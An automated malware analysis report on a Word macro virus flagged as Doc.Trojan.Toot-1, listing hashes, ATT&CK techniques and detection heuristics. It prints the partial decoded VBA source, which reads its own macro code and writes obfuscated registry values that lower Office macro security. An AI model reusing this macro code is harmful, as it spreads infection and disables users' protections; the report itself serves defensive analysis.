Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d58ac86bb4a4db8d…

MALICIOUS

Office (OLE)

67.0 KB Created: 2001-05-26 08:22:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: e30f5034c06df3dadbf39d2a5817dbbf SHA-1: 1f2c7e08e1060c1e0c8b9e4270fc09e3002ee96b SHA-256: d58ac86bb4a4db8d2d7245eb8edc24169a165a78b3294d60ef4e2237e446a481
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file contains VBA macros that utilize CreateObject and GetObject calls, indicative of malicious activity. The ClamAV detection 'Doc.Trojan.Toot-1' strongly suggests a known malware family. The VBA script attempts to write to the registry key HKCU\Software\Microsoft\Office\8.0\Excel\Options, likely to establish persistence or configure malicious behavior.

Heuristics 4

  • ClamAV: Doc.Trojan.Toot-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Toot-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12737 bytes
SHA-256: 012f442fd72a9481396759222b5809311713764c40a4eb42285040c08e9d4481
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'ToothAche by Kernel32
Private _
Sub _
Workbook_Deactivate()
On _
Error _
Resume _
Next
With _
ThisWorkbook
With _
.VBProject
With _
.vbcomponents("ThisWorkBook")
With _
.CodeModule
Code _
= _
.Lines(1, _
.countoflines)
End _
With
End _
With
End _
With
End _
With
Set _
wrd _
= _
GetObject(, _
"Word.Application")
wason _
= _
1
If _
wrd _
= _
"" _
Then
Set _
wrd _
= _
CreateObject("Word.Application")
wason _
= _
0
End _
If
With _
wrd
With _
.System
.PrivateProfileString("", _
Chr(72) _
& _
Chr(75) _
& _
Chr(69) _
& _
Chr(89) _
& _
Chr(95) & Chr(67) & Chr(85) & Chr(82) & Chr(82) & Chr(69) & Chr(78) & Chr(84) & Chr(95) & Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(92) & Chr(83) & Chr(111) & Chr(102) & Chr(116) & Chr(119) & Chr(97) & Chr(114) & Chr(101) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(92) & Chr(79) & Chr(102) & Chr(102) & Chr(105) & Chr(99) & Chr(101) & Chr(92) & Chr(56) & Chr(46) & Chr(48) & Chr(92) & Chr(69) & Chr(120) & Chr(99) & Chr(101) & Chr(108) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(32) & Chr(69) & Chr(120) & Chr(99) & Chr(101) & Chr(108), Chr(79) & Chr(112) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(115) & Chr(54)) = &H0
.PrivateProfileString("", _
Chr(72) _
& _
Chr(75) _
& _
Chr(69) _
& _
Chr(89) _
& _
Chr(95) & Chr(67) & Chr(85) & Chr(82) & Chr(82) & Chr(69) & Chr(78) & Chr(84) & Chr(95) & Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(92) & Chr(83) & Chr(111) & Chr(102) & Chr(116) & Chr(119) & Chr(97) & Chr(114) & Chr(101) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(92) & Chr(79) & Chr(102) & Chr(102) & Chr(105) & Chr(99) & Chr(101) & Chr(92) & Chr(57) & Chr(46) & Chr(48) & Chr(92) & Chr(87) & Chr(111) & Chr(114) & Chr(100) & Chr(92) & Chr(83) & Chr(101) & Chr(99) & Chr(117) & Chr(114) & Chr(105) & Chr(116) & Chr(121), Chr(76) & Chr(101) & Chr(118) & Chr(101) & Chr(108)) = 1&
.PrivateProfileString("", _
Chr(72) _
& _
Chr(75) _
& _
Chr(69) _
& _
Chr(89) _
& _
Chr(95) & Chr(67) & Chr(85) & Chr(82) & Chr(82) & Chr(69) & Chr(78) & Chr(84) & Chr(95) & Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(92) & Chr(83) & Chr(111) & Chr(102) & Chr(116) & Chr(119) & Chr(97) & Chr(114) & Chr(101) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(92) & Chr(79) & Chr(102) & Chr(102) & Chr(105) & Chr(99) & Chr(101) & Chr(92) & Chr(49) & Chr(48) & Chr(46) & Chr(48) & Chr(92) & Chr(87) & Chr(111) & Chr(114) & Chr(100) & Chr(92) & Chr(83) & Chr(101) & Chr(99) & Chr(117) & Chr(114) & Chr(105) & Chr(116) & Chr(121), Chr(76) & Chr(101) & Chr(118) & Chr(101) & Chr(108)) = 1&
If _
.PrivateProfileString("", _
Chr(72) _
& _
Chr(75) _
& _
Chr(69) _
& _
Chr(89) _
& Chr(95) & Chr(67) & Chr(85) & Chr(82) & Chr(82) & Chr(69) & Chr(78) & Chr(84) & Chr(95) & Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(92) & Chr(83) & Chr(111) & Chr(102) & Chr(116) & Chr(119) & Chr(97) & Chr(114) & Chr(101) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(92) & Chr(79) & Chr(102) & Chr(102) & Chr(105) & Chr(99) & Chr(101) & Chr(92) & Chr(49) & Chr(48) & Chr(46) & Chr(48) & Chr(92) & Chr(87) & Chr(111) & Chr(114) & Chr(100) & Chr(92) & Chr(83) & Chr(101) & Chr(99) & Chr(117) & Chr(114) & Chr(105) & Chr(116) & Chr(121), Chr(65) & Chr(99) & Chr(99) & Chr(101) & Chr(115) & Chr(115) & Chr(86) & Chr(66) & Chr(79) & Chr(77)) <> 1& Then
.PrivateProfileString("", _
Chr(72) _
& _
Chr(75) _
& _
Chr(69) _
& _
Chr(89) _
& _
Chr(95) & Chr(67) & Chr(85) & 
... (truncated)

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